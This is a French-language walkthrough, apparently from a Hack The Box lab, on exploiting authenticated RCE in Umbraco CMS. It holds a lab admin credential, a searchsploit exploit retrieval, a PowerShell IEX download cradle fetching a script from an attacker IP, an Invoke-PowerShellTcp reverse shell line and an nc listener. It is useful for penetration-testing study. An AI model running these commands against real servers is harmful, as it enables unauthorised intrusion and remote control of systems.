> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/umbraco-cms-exploitation.md).
# Umbraco
Notes d’exploitation d’Umbraco CMS pour le RCE authentifié, la modification de la charge utile SearchSploit, la validation de l’exécution de commandes, le download cradle PowerShell et l’accès via shell inversé.
## Vulnérabilité RCE (Umbraco CMS)
Un panneau d’administration est trouvé ; testez l’authentification en tant qu’utilisateur admin :
`admin@htb.local:baconandcheese`
L’accès est accordé.
Recherche `Searchsploit` pour ce CMS et trouvez un script RCE Umbraco.
`searchsploit -m aspx/webapps/46153.py`
Modifiez les paramètres de connexion, de mot de passe et d’hôte dans le script.
**Vérification de la connectivité avec ping :**/ Exécutez cette commande sur le serveur et écoutez avec tcpdump.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
Une fois l’exécution de la commande confirmée, hébergez le `PS.ps1` script sur la machine attaquante.
{% embed url="" %}
Ajoutez la ligne suivante à la fin du script :
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` avec un serveur web :
```bash
python3 -m http.server 80
```
Modifiez ensuite la commande pour qu’elle pointe vers le serveur web de l’attaquant :
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Enfin, démarrez un écouteur sur le port 4444 :
```bash
rlwrap nc -nlvp 4444
```
---
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